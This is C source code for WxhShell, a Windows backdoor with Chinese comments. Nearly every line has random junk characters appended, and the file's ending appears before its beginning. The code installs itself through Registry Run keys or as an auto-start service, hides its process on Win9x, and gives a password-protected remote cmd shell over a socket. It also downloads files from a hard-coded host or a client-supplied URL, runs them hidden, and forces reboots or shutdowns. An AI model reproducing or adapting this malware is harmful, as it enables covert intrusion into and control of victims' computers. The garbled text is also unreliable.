    if(Boot(SHUTDOWN)) b-Hn=e_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =VU2#O  
    else { DkIkiw{L  
    closesocket(wsh); n&fV3[m`2  
    ExitThread(0); a$GKrc,z  
    } cwroG#jGT  
    break; %Xl@o  
    } 71%u|k8|  
  // 获取shell \5Jv;gc\\  
  case 's': { ra&C|"~E  
    CmdShell(wsh); %F~ dmA#:  
    closesocket(wsh); GyCpGP|AZ  
    ExitThread(0); kr?| >6?  
    break; A3n"zxU  
  } -'(:Sq,4o  
  // 退出 (}:xs,Ax  
  case 'x': { GZ={G2@=I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ".\(A f2  
    CloseIt(wsh); |?> h$'  
    break; tu'MYY  
    } l.BNe)1!22  
  // 离开 D H^^$)  
  case 'q': { [=Z{y8#:J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .>YJ9 5&\  
    closesocket(wsh); ~I<y^]2{  
    WSACleanup(); $enh45Wy  
    exit(1); ;w>B}v;RE  
    break; <wC1+/]  
        } yi OF&  
  } ^kq!/c3r  
  } R4/@dA0  
Ir'f((8:  
  // 提示信息 (0+m&, z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $W]bw#NH  
} Oc.>$  
  } !xI![N^  
=Vs<DO{|4q  
  return; H[r0jREK  
} Ba6xkEd  
Pz 'Hqvd  
// shell模块句柄 v4$,Vt:7  
int CmdShell(SOCKET sock) .tNB07=7  
{ *v+ fkg  
STARTUPINFO si; zYL^e @  
ZeroMemory(&si,sizeof(si)); +[ zo2lBx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; To`?<]8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'UxA8i(  
PROCESS_INFORMATION ProcessInfo; 0"`skYJ@  
char cmdline[]="cmd"; 7L*`nU|h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3fPv71NVtt  
  return 0; A=K1T]o  
} MF`'r#@:wa  
i1 &'Zh  
// 自身启动模式 N,|oV|i  
int StartFromService(void) U4gwxK  
{ EMG*8HRI>r  
typedef struct ;j=1 oW  
{ -+> am?  
  DWORD ExitStatus; u i1m+  
  DWORD PebBaseAddress; RHbwq]  
  DWORD AffinityMask; ks D1NB;9  
  DWORD BasePriority; gL`SZr9  
  ULONG UniqueProcessId; 0^[6  
  ULONG InheritedFromUniqueProcessId; *$VurqLn  
}   PROCESS_BASIC_INFORMATION; 6ZBD$1$A!  
7%"7Rb^@  
PROCNTQSIP NtQueryInformationProcess; $}$@)!-  
_u$K Lqt/,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U4gJ![>5j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N3p3"4_]fy  
rRYf.~UH@P  
  HANDLE             hProcess; -cgukl4Va  
  PROCESS_BASIC_INFORMATION pbi; 1tdCzbEn+  
27:x5g?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CvJEY  
  if(NULL == hInst ) return 0; $ *A3p  
\`ReZu$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^%pwyY\t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sLIP |i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4)I#[&f  
v=VmiBq[  
  if (!NtQueryInformationProcess) return 0; b`zf&Mn  
}c%y0)fL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?C35   
  if(!hProcess) return 0; T*yveo &j  
sA}R!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e% 6{P  
 t;Om9  
  CloseHandle(hProcess); Z > =Y  
,6"n5Ks}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 98^6{p  
if(hProcess==NULL) return 0; "'Uk0>d=_I  
B:cOcd?p  
HMODULE hMod; fx:KH:q3  
char procName[255]; (N4(r<o;  
unsigned long cbNeeded; 'OCo1|iK~  
->=++  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DT4RodE$  
uszSFe]E  
  CloseHandle(hProcess); )AXH^&  
}3w b*,Sbz  
if(strstr(procName,"services")) return 1; // 以服务启动 ~b0qrjF;O  
i&)C,  
  return 0; // 注册表启动 2]=I'U<E!  
} D|9fHMg %  
vWs c{9  
// 主模块 (}1f]$V  
int StartWxhshell(LPSTR lpCmdLine) VAGMI+ -  
{ 4tJ4X' U  
  SOCKET wsl; 0!`7kZrN  
BOOL val=TRUE; ~e9INZe-j  
  int port=0; !U:s.^{  
  struct sockaddr_in door; ecpUp39\  
y#;VGf6lj  
  if(wscfg.ws_autoins) Install(); ~79Qg{+]N  
Tj5@OcA$  
port=atoi(lpCmdLine); J5_Y\@  
WG}CPkj  
if(port<=0) port=wscfg.ws_port; K-C-+RB  
[[h)4H{T  
  WSADATA data; 9X9zIh]JV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QYXx7h r=$  
'hw@l>1\9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5l0rw)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O7'3}P;  
  door.sin_family = AF_INET; 2EwWV 0BS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gecT*^  
  door.sin_port = htons(port); jMui+G(h  
Cnci%e o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?^ezEpW  
closesocket(wsl); 5dw@g4N %^  
return 1; oh0|2IrM  
} D*'M^k|1  
AO$PuzlLh  
  if(listen(wsl,2) == INVALID_SOCKET) { Juqn X  
closesocket(wsl); e.|RC  
return 1; hRIS [#z;U  
} <<5 :zlb  
  Wxhshell(wsl); |!5T+H{Sj  
  WSACleanup(); 9w;J7jgOT!  
:;q_f+U  
return 0; .y9rM{h}b  
fhIj+/{_O  
} }lUpC}aq_  
"4uUI_E9F;  
// 以NT服务方式启动 kjC{Zr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XW_xNkpL5c  
{ 8t: &#h  
DWORD   status = 0; 0$Y 9>)O  
  DWORD   specificError = 0xfffffff; (L:Fb  
afiK!0col2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vLFaZ^(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OMI!=Upz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y{Y+2}Dv/  
  serviceStatus.dwWin32ExitCode     = 0; [Pwo,L,)  
  serviceStatus.dwServiceSpecificExitCode = 0; |z.GSI_!)  
  serviceStatus.dwCheckPoint       = 0; m4U+,|Fa  
  serviceStatus.dwWaitHint       = 0; WfT)CIKs  
iSz@E&[X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m2q;^o:J  
  if (hServiceStatusHandle==0) return; o/ g+Z  
D4O5@KfL  
status = GetLastError(); %iL@:'?K  
  if (status!=NO_ERROR) roj04|  
{ gq_7_Y/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A='+tJa  
    serviceStatus.dwCheckPoint       = 0; Z F yX@#B9  
    serviceStatus.dwWaitHint       = 0; PT@e),{~o9  
    serviceStatus.dwWin32ExitCode     = status; ph12x: @B  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]n]uN~)9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dFP-(dX#  
    return; |k .M+  
  } l9NOzAH3  
D7WI(j\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1;:t~Y  
  serviceStatus.dwCheckPoint       = 0; @23R joK  
  serviceStatus.dwWaitHint       = 0; gLSG:7m@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `TD%M`a  
} ?I2k6%a  
h9BD ^j  
// 处理NT服务事件,比如:启动、停止 a;'E}b{`F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x #X#V\w=  
{ A6UdWK  
switch(fdwControl) a}qse5Fr  
{ M`+e'vdw  
case SERVICE_CONTROL_STOP: k CW!m  
  serviceStatus.dwWin32ExitCode = 0; 56=K@$L {F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :O'C:n<g  
  serviceStatus.dwCheckPoint   = 0; Uq]EJu  
  serviceStatus.dwWaitHint     = 0; Fwx~ ~"I  
  { ZCE%38E N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F'>GN}n  
  } a j@C0  
  return; T5dUJR2k$  
case SERVICE_CONTROL_PAUSE: $dZ>bXUw:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &.  =}g]  
  break; Z"n'/S:q  
case SERVICE_CONTROL_CONTINUE: jQxPOl$-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,hTwNVWI9  
  break; '6.>Wdd  
case SERVICE_CONTROL_INTERROGATE: *0&4mi8  
  break; 2 ]DCF  
}; 7Z`Mt9:Ht  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N[bR&# p  
} %%+mWz a  
IglJEH[+  
// 标准应用程序主函数 H#|Z8^ *Ds  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A eGG  
{ KI Plb3oh  
(U(/ C5'  
// 获取操作系统版本 <nw <v9Z  
OsIsNt=GetOsVer(); 3Zaq#uA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N0K>lL=  
cbh#E)[ '  
  // 从命令行安装 o,CA;_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6R-C0_'h  
bQXc IIa{  
  // 下载执行文件 KcmDF4C2  
if(wscfg.ws_downexe) { 65waq~#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8!uL-_Bn  
  WinExec(wscfg.ws_filenam,SW_HIDE); T@Ss&eGT2  
} VA=#0w  
M2;%1^  
if(!OsIsNt) { Esz1uty  
// 如果时win9x,隐藏进程并且设置为注册表启动 |B%BwE  
HideProc(); zM_DE  
StartWxhshell(lpCmdLine); x5fgF;  
} rb *C-NutE  
else J}) $  
  if(StartFromService()) wuIsO;}/9  
  // 以服务方式启动 %$ir a\ sM  
  StartServiceCtrlDispatcher(DispatchTable); rq<`(V'2  
else /63 W\  
  // 普通方式启动 waXDGdl0  
  StartWxhshell(lpCmdLine); cyGN3t9`.  
Tsm1C#6 Y*  
return 0; JNxW6 cK  
} g,n-s+  
^ea RgNz  
5:*5j@/S  
:cXIO  
=========================================== Avs7(-L+s  
[}A_uOGEP  
P1)* q0  
x1m8~F  
u}-d7-=  
FylWbQU9  
" hF7V !*5  
G}=`VYK  
#include <stdio.h> CdBthOPX)  
#include <string.h> Wj&<"Z6'm(  
#include <windows.h> k_*XJ<S!Y  
#include <winsock2.h> VO. -.  
#include <winsvc.h> Ynv9&P  
#include <urlmon.h> lFiq<3Nk  
->&BcPLn  
#pragma comment (lib, "Ws2_32.lib") LKR==;qn  
#pragma comment (lib, "urlmon.lib") "xD}6(NL(r  
DL'd&;6  
#define MAX_USER   100 // 最大客户端连接数 |`_ <@b  
#define BUF_SOCK   200 // sock buffer i(M(OR/4  
#define KEY_BUFF   255 // 输入 buffer H_% d3 RI  
[<D+p qh  
#define REBOOT     0   // 重启 $:f.Krj  
#define SHUTDOWN   1   // 关机 tk`: CT *  
84[|qB,ML  
#define DEF_PORT   5000 // 监听端口 }iPo8Ra  
Po Yr:=S?  
#define REG_LEN     16   // 注册表键长度 QO5OnYh  
#define SVC_LEN     80   // NT服务名长度 ; @ 7  
VFilF<jvu  
// 从dll定义API PU^[HC*K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W:VW_3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *C4~}4WT\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q?;N7P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I6K7!+;2  
,pDp>-vI%  
// wxhshell配置信息 gf:vb*#Wa  
struct WSCFG { ?gd'M_-J,  
  int ws_port;         // 监听端口 z6p#fsD  
  char ws_passstr[REG_LEN]; // 口令 -]Q3/"Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no H<V+d^qX\w  
  char ws_regname[REG_LEN]; // 注册表键名 }x:\69$  
  char ws_svcname[REG_LEN]; // 服务名 $!3gN%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /\TQc-k?2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }7iUagN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3xBN10R#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5c<b|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MS{Hz,I,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m3U+ du  
^D9 /  
}; i'M^ez)u  
!?BW_vY  
// default Wxhshell configuration  AGh~8[  
struct WSCFG wscfg={DEF_PORT, 536^PcJlN  
    "xuhuanlingzhe", d>^~9X  
    1, 5>'?:jY  
    "Wxhshell", fkW3~b  
    "Wxhshell", nURvy}<r  
            "WxhShell Service", y!S^xS  
    "Wrsky Windows CmdShell Service", VKT@2HjNT`  
    "Please Input Your Password: ", V)2"l"Kt  
  1, +7Sf8tg\  
  "http://www.wrsky.com/wxhshell.exe", &\&'L|0F  
  "Wxhshell.exe" X"kXNKV/n  
    }; >ysriPnQ  
.KFA218h*x  
// 消息定义模块 l!\1,J:}Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s0gJ f[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <Cu'!h_nL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;JAK[o8i  
char *msg_ws_ext="\n\rExit."; i B%XBR  
char *msg_ws_end="\n\rQuit."; dj3|f{kg{  
char *msg_ws_boot="\n\rReboot..."; &K06}[J  
char *msg_ws_poff="\n\rShutdown..."; j?=VtVP  
char *msg_ws_down="\n\rSave to "; H9sZR>(^  
$ b4*/vMr  
char *msg_ws_err="\n\rErr!"; cE^kpnVq|<  
char *msg_ws_ok="\n\rOK!"; :[ L{KFQU  
~@xT]D!BQ  
char ExeFile[MAX_PATH]; S2Zx &D/_  
int nUser = 0; !)NYW4"  
HANDLE handles[MAX_USER]; Dz,uS nnm  
int OsIsNt; \^yXc*C  
D=2~37CzQ1  
SERVICE_STATUS       serviceStatus; =nLO?qoe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \.5F](:  
:]EP@.(  
// 函数声明 =\M)6"}y}  
int Install(void); }bZ 8-v  
int Uninstall(void); {":c@I  
int DownloadFile(char *sURL, SOCKET wsh); +IvNyj|  
int Boot(int flag); 6@&fvf  
void HideProc(void); 6e*%\2UA  
int GetOsVer(void); jh>N_cp  
int Wxhshell(SOCKET wsl); 37#cx)p^f  
void TalkWithClient(void *cs); F@g17aa  
int CmdShell(SOCKET sock); 7kdeYr~<1  
int StartFromService(void); hl`u"?rg  
int StartWxhshell(LPSTR lpCmdLine); Xc{ZN1 4n  
Og +)J9#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >Q&CgGpW$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b~1iPaIh  
%WZ$]M?q  
// 数据结构和表定义 I[@ts!YD  
SERVICE_TABLE_ENTRY DispatchTable[] = ?vvG)nW  
{ ^Fn%K].X  
{wscfg.ws_svcname, NTServiceMain}, Bu&So|@TL  
{NULL, NULL} [U swf3  
}; S[Vtq^lU  
|0lLl^zp  
// 自我安装 kPWBDpzN  
int Install(void) :RHm*vt  
{ p*Xix%#6  
  char svExeFile[MAX_PATH]; K6-6{vt  
  HKEY key; FzVZs# O  
  strcpy(svExeFile,ExeFile); lBS"3s384  
g#w`J \iz  
// 如果是win9x系统,修改注册表设为自启动 s} s|~  
if(!OsIsNt) { k<!<<,Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (9E( Q*J5x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / HL_$g<  
  RegCloseKey(key); nMkOUW:T!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cb4_ ?OR0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ka/nQ~_#<  
  RegCloseKey(key); [8.-(-/;  
  return 0; I4ebkPgf  
    } 36nyu_h:R  
  } ,'=hjIel  
} 7q!?1 -?8R  
else { I,]J=xi  
0Yp>+:#  
// 如果是NT以上系统,安装为系统服务 KyjyjfIwH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a%v>eXc  
if (schSCManager!=0) >[EBpYi  
{ >G&^?5  
  SC_HANDLE schService = CreateService ;ed#+$Na  
  ( w;~>k%}j  
  schSCManager, r|<6Aae&  
  wscfg.ws_svcname, r5[4h'f  
  wscfg.ws_svcdisp, 6s5yyy=L%~  
  SERVICE_ALL_ACCESS, +^Fp&K+^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o OQ'*7_  
  SERVICE_AUTO_START, ewpig4  
  SERVICE_ERROR_NORMAL, fa4=h;>a+  
  svExeFile, !W~QT}  
  NULL, &f"T,4Oh  
  NULL, q~j)W$k  
  NULL, se#@)LtZ  
  NULL, MF^_Z3GS'  
  NULL [z2eCH  
  ); S!`:E  
  if (schService!=0) VNO'="U  
  { \X5 3|Y;=  
  CloseServiceHandle(schService); ';Nu&D#Ph  
  CloseServiceHandle(schSCManager); St+ "ih%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W tVf wC_  
  strcat(svExeFile,wscfg.ws_svcname); fgmSgG"b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dm^l?Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #~S>K3(  
  RegCloseKey(key); _KN: o10U  
  return 0; Ev{MCu1!6  
    } ] opto  
  } &atyDFJ'  
  CloseServiceHandle(schSCManager); Q(e{~ ]*  
} (xu=%  
} C B/r]+4  
eVx~n(m!}  
return 1; Y.NE^Vn0  
} 6A?8tm/0  
$it@>L8  
// 自我卸载 !9D1 Fa  
int Uninstall(void) p31oL{D  
{ WFem#hq   
  HKEY key; 7E\g &R.  
O@wK[(w^  
if(!OsIsNt) { \2>3Opt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #|?8~c;RWG  
  RegDeleteValue(key,wscfg.ws_regname); 5B?i(2&#  
  RegCloseKey(key); Im+ 7<3Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !b63ik15O~  
  RegDeleteValue(key,wscfg.ws_regname); WL1\y|  
  RegCloseKey(key); $ser+Jt=  
  return 0; ceG&,a$\  
  } A? r^V2+j  
} 'g hys1H  
} VX!hv`E  
else { :BD>yOlG  
/tZ0 |B(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -?z\5 z  
if (schSCManager!=0) ,rai%T/rL  
{ I0_Ecp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N571s  
  if (schService!=0) ,56;4)cv  
  { WqQU@sA  
  if(DeleteService(schService)!=0) { $UC{"0  
  CloseServiceHandle(schService); X3yS5wh d(  
  CloseServiceHandle(schSCManager); }LQC.!  
  return 0; qnXTNs ?b  
  } |IN[uQ  
  CloseServiceHandle(schService); d@ (vg  
  } QD4:W"i  
  CloseServiceHandle(schSCManager); Du!._  
} V^sc1ak1Q  
} P,ydt  
GW/WUzK  
return 1; PJK9704 6  
} vBoO'l9'M  
CmHyAw(  
// 从指定url下载文件 #c:kCZt#  
int DownloadFile(char *sURL, SOCKET wsh) D5L{T+}Oi%  
{ V;;#/$oU:4  
  HRESULT hr; .&|L|q}  
char seps[]= "/"; esI'"hVJ  
char *token; Ww`&i  
char *file; (f>M &..  
char myURL[MAX_PATH]; n[CoS  
char myFILE[MAX_PATH]; M*`hDdS  
y/tSGkMv  
strcpy(myURL,sURL); $r15gfne>  
  token=strtok(myURL,seps); F0.zi>5  
  while(token!=NULL) &d,Wy"WPi  
  { U\bC0q   
    file=token; sLhDO'kM  
  token=strtok(NULL,seps); zJC EA  
  }  KGT3|)QN  
x<F$aXOS  
GetCurrentDirectory(MAX_PATH,myFILE); 5v|EAjB6o  
strcat(myFILE, "\\"); = F<:}Tx)C  
strcat(myFILE, file); taDQ65  
  send(wsh,myFILE,strlen(myFILE),0); gDC2 >nV  
send(wsh,"...",3,0); L!y"d!6C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GTAf   
  if(hr==S_OK) (a#pvEY  
return 0; 0Oap39  
else 6t m \L  
return 1; O{ q&]~,  
vRr9%zx  
} V3uXan_  
B^q<2S;  
// 系统电源模块 Z@M6!;y#  
int Boot(int flag) 9/3;{`+[a  
{ bV6V02RF  
  HANDLE hToken; 2 Y+:,ud\  
  TOKEN_PRIVILEGES tkp; A[JM4x   
iLtc HpN  
  if(OsIsNt) { #jP/k.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <\aU"_D   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~Z/7pP+  
    tkp.PrivilegeCount = 1; Pa&4)OD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u)~s4tP4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9rcI+q=E  
if(flag==REBOOT) { Y[G9Vok VX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6fGK (r  
  return 0; .NnGVxc5*  
} 1;&T^Gdj  
else { tX?J@+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |GuEGmR  
  return 0; (/?R9T[V&^  
} S#2[%o  
  } 2w4MJ,Uw  
  else { ri+U0[e3  
if(flag==REBOOT) { vr4S9`,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ue7 6py9  
  return 0; [:B*6FXMN~  
} 88o:NJ}_  
else { c<jB6|.=2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /gw Cwyo  
  return 0; i@,]Z~]  
} T4GW1NP  
} N`1r;%5  
lRND  
return 1; r/PKrw sC  
} !G+u j(  
:-Wv>V\t  
// win9x进程隐藏模块 8&.-]{Z  
void HideProc(void) JXm?2 /  
{ XeU<^ [  
8R4qU!M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sk=N [hwU  
  if ( hKernel != NULL ) it,w^VU_]  
  { k?j Fh6%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ipZHSA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9,WG!4:+W  
    FreeLibrary(hKernel); .$wLLE^*  
  } hk;bk?:m  
*h:kmT  
return; zYr z08PJ  
} UH20n{_:  
Ub)M*Cq0(o  
// 获取操作系统版本  yekRwo|  
int GetOsVer(void) ]>8)|]O6n  
{ dtTlIhh1V  
  OSVERSIONINFO winfo; ~6d5zI4\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); plXG[1;&G  
  GetVersionEx(&winfo); jONjt(&N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c[5@ \j\  
  return 1; 'vlrc[|/  
  else q[c Etp28h  
  return 0; N^J*!]|  
} r/Dd& x  
(}~ucI<~  
// 客户端句柄模块 x6e+7"#~  
int Wxhshell(SOCKET wsl) %U?)?iZdL  
{ 7\%$>< K  
  SOCKET wsh; |-61(X.  
  struct sockaddr_in client; %nQmFIt  
  DWORD myID; %3G;r\|r]  
P) 1 EA;  
  while(nUser<MAX_USER) HNMBXXf, B  
{ 6"%2,`Nu  
  int nSize=sizeof(client); \h#9oPy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sHsg_6~  
  if(wsh==INVALID_SOCKET) return 1; %wW'!p-<  
e1 ^l.>2d6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uV77E*+7\  
if(handles[nUser]==0) +c?ie4   
  closesocket(wsh); 7K:FeW'N  
else -tyaE  
  nUser++; r*Z_+a8  
  } ? s4oDi|:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (8x gn  
]!aUT&  
  return 0; @p]UvqtB@  
} 8\_*1h40s  
qTy v.#{y  
// 关闭 socket KPggDKS  
void CloseIt(SOCKET wsh) JqEb;NiP)5  
{ :8]6#c6`74  
closesocket(wsh); e=J*Esc@k  
nUser--; 4)nt$fW  
ExitThread(0); aAcKwCGq\  
} }) 7K S?  
/7vE>mSY  
// 客户端请求句柄 0WXVc  
void TalkWithClient(void *cs) **HrWM%?8o  
{ !NA`g7'  
6t$N78U  
  SOCKET wsh=(SOCKET)cs; uO"8aD`W  
  char pwd[SVC_LEN]; e~ BJvZ}Q  
  char cmd[KEY_BUFF];  mn`5pha  
char chr[1]; y5%5O xB  
int i,j; LG6I_[  
]}~4J.Yn  
  while (nUser < MAX_USER) { EL +,jrU~  
|^!Vo&T  
if(wscfg.ws_passstr) { /.@x 4cdS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . s-5N\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xB,/dMdTj  
  //ZeroMemory(pwd,KEY_BUFF); e5L 1er;6  
      i=0; -XW8 LaQB  
  while(i<SVC_LEN) { W5X7FEW  
6sy,A~e  
  // 设置超时 .hne)K%={y  
  fd_set FdRead; hgwn> p:S#  
  struct timeval TimeOut; oG\>--  
  FD_ZERO(&FdRead); K0 QH?F  
  FD_SET(wsh,&FdRead); +.K*n&  
  TimeOut.tv_sec=8; %I}'Vb{C  
  TimeOut.tv_usec=0; >#?iO]).  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Om6Mmoqh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); niAZ$w  
WKOI\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8})|^%@n  
  pwd=chr[0]; tWX7dspx/  
  if(chr[0]==0xd || chr[0]==0xa) { wPQ&Di*X}  
  pwd=0; >uW^.e "F  
  break; -#OwJ*-U  
  } b=G4MZQ  
  i++; Yx 3|G  
    } /N%zwj/*  
g/B\ObY  
  // 如果是非法用户,关闭 socket v^\JWPR/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DZ2Fl>7  
} f-&ATTx`J  
t)!V +Qcb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UQnBqkE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jm+ blB^%K  
Bs@:rhDi  
while(1) { 8W@dtZ,d  
p9Z ].5Pd"  
  ZeroMemory(cmd,KEY_BUFF); BjB&[5?z  
"]<w x_!+}  
      // 自动支持客户端 telnet标准   sX!3_ '-  
  j=0; Z,SY N?@  
  while(j<KEY_BUFF) { GI?PGAT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FvAbh]/4  
  cmd[j]=chr[0]; s!aO*\[<h  
  if(chr[0]==0xa || chr[0]==0xd) { 3l$E8?[Zwi  
  cmd[j]=0; C$t.C rxx  
  break; uct=i1+ fE  
  } y]7%$* <  
  j++; jQ)L pjS1  
    } U Q)!|@&  
\*Ts)EW  
  // 下载文件  M$F{N  
  if(strstr(cmd,"http://")) { L7<+LA)s0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e|JIrOnc  
  if(DownloadFile(cmd,wsh)) e) ]RA?bF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pbPz$Y  
  else G~S))p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }\DAg'e)  
  } lS#7x h  
